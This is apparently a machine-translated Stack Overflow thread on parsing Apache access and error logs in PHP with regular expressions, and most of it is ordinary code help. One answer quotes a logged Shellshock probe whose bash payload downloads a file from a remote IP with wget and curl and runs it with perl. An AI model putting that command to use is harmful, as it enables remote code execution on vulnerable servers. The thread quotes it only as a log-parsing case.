2011-09-29 16 views
25

Necesito guardar datos en una tabla (para informes, estadísticas, etc.) para que un usuario pueda buscar por tiempo, agente de usuario, etc. Tengo un script que se ejecuta todos los días que dice Apache Log y luego insertarlo en la base de datos.Parse Apache inicie sesión en PHP usando preg_match

formato de registro:

10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 

Mi expresiones regulares:

preg_match('/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) (\".*?\") (\".*?\")$/',$log, $matches); 

Ahora, cuando impresión:

print_r($matches); 

Array 
(
    [0] => 10.1.1.150 - - [29/September/2011:14:21:49 -0400] "GET /info/ HTTP/1.1" 200 9955 "http://www.domain.com/download/" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
    [1] => 10.1.1.150 
    [2] => - 
    [3] => - 
    [4] => 29/September/2011 
    [5] => 14:21:49 
    [6] => -0400 
    [7] => GET 
    [8] => /info/ 
    [9] => HTTP/1.1 
    [10] => 200 
    [11] => 9955 
    [12] => "http://www.domain.com/download/" 
    [13] => "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1" 
) 

me sale: "http://www.domain.com/download/" y lo mismo para el agente de usuario. ¿Cómo puedo deshacerme de estos " en la expresión regular? Bonificación (¿Hay alguna forma rápida de insertar la fecha/hora fácilmente)?

Gracias

+0

Este es un duplicado de la pregunta # 2221636 –

+0

He escrito una clase de ayuda simple para esto. Ver https://github.com/Spudley/ApacheLogIterator – SDC

+0

@SDC: Gracias Simon, ¡ese iterador es asombroso! – Pete855217

Respuesta

35

Para analizar un registro de Apache access_log en PHP puede utilizar esta expresión regular:

$regex = '/^(\S+) (\S+) (\S+) \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/'; 
preg_match($regex ,$log, $matches); 

Para que coincida con el formato de Apache error_log, puede utilizar esta expresión regular:

$regex = '/^\[([^\]]+)\] \[([^\]]+)\] (?:\[client ([^\]]+)\])?\s*(.*)$/i'; 
preg_match($regex, $log, $matches); 
$matches[1] = Date and time,   $matches[2] = severity, 
$matches[3] = client addr (if present) $matches[4] = log message 

Coincide con las líneas con o sin el cliente:

[Tue Feb 28 11:42:31 2012] [notice] Apache/2.4.1 (Unix) mod_ssl/2.4.1 OpenSSL/0.9.8k PHP/5.3.10 configured -- resuming normal operations 
[Tue Feb 28 14:34:41 2012] [error] [client 192.168.50.10] Symbolic link not allowed or link target not accessible: /usr/local/apache2/htdocs/x.js 
+0

está funcionando, gracias – Tech4Wilco

3

Si no desea capturar las comillas dobles, extráigalas de los grupos de captura.

(\".*?\") 

debe convertirse en:

\"(.*?)\" 

Como alternativa sólo podría post-proceso de las entradas con trim($str, '"')

1

su expresión regular están equivocados. que utiliza shoudl expresión regular correcta

/^(\S+) (\S+) (\S+) - \[([^:]+):(\d+:\d+:\d+) ([^\]]+)\] \"(\S+) (.*?) (\S+)\" (\S+) (\S+) "([^"]*)" "([^"]*)"$/ 
+1

¿Podría ampliar dónde y por qué estaba mal? (Esto ayudará a asegurar que el mismo error no se repita en el futuro) :) –

+0

I segundo. No se incluyen explicaciones sobre por qué regex es incorrecto. – ftrotter

+0

Además, no coincide en una línea de registro de Apache estándar. Ignora este. – Pete855217

0

He intentado usar un par de las expresiones regulares Allí dispone de 2015, y encuentra que una mala bot no está recibiendo un partido en mi registro apache2.

La mala línea de bot apache2 es un intento de BASH corte, y no he tratado de averiguar la corrección de expresiones regulares sin embargo:

199.217.117.211 - - [18/Jan/2015:10:52:27 -0500] "GET /cgi-bin/help.cgi HTTP/1.0" 404 498 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://185.28.190.69/mc;curl -O http://185.28.190.69/mc;perl mc;perl /tmp/mc\"" 
0

Como he visto y hecho tantos análisis de registro errneous, aquí es una expresión regular de esperar válido, probado en 50k líneas de registros sin ningún sola diff, sabiendo que:

  • auth_user puede tener espacios
  • response_size puede ser -
  • http_start_line puede al menos un espacio (HTTP/0.9) o dos
  • http_start_line puede contener comillas dobles
  • URL de referencia puede estar vacía, tener espacios o comillas dobles (que es sólo una cabecera HTTP)
  • user_agent puede estar vacía también, o contener comillas dobles, y los espacios
  • Es difícil distinguir entre referrer y user-agent, vamos a casa el " " entre ambos es bastante discriminante, sin embargo, podemos encontrar el infame " " en el referente y en el agente de usuario, así que, básicamente, estamos jodidos aquí.

$ncsa_re = '/^(?P<IP>\S+) \ (?P<ident>\S) \ (?P<auth_user>.*?) # Spaces are allowed here, can be empty. \ (?P<date>\[[^]]+\]) \ "(?P<http_start_line>.+ .+)" # At least one space: HTTP 0.9 \ (?P<status_code>[0-9]+) # Status code is _always_ an integer \ (?P<response_size>(?:[0-9]+|-)) # Response size can be - \ "(?P<referrer>.*)" # Referrer can contains everything: its just a header \ "(?P<user_agent>.*)"$/x';

la esperanza de que la ayuda.

+0

¿Cuál es la? P en su expresión regular? No he encontrado nada que use regex que reconozca eso, solo se marca como un error. – mutatron

+0

@mutatron es una captura con nombre. Busque "grupo nombrado" o "grupo de captura nombrado". –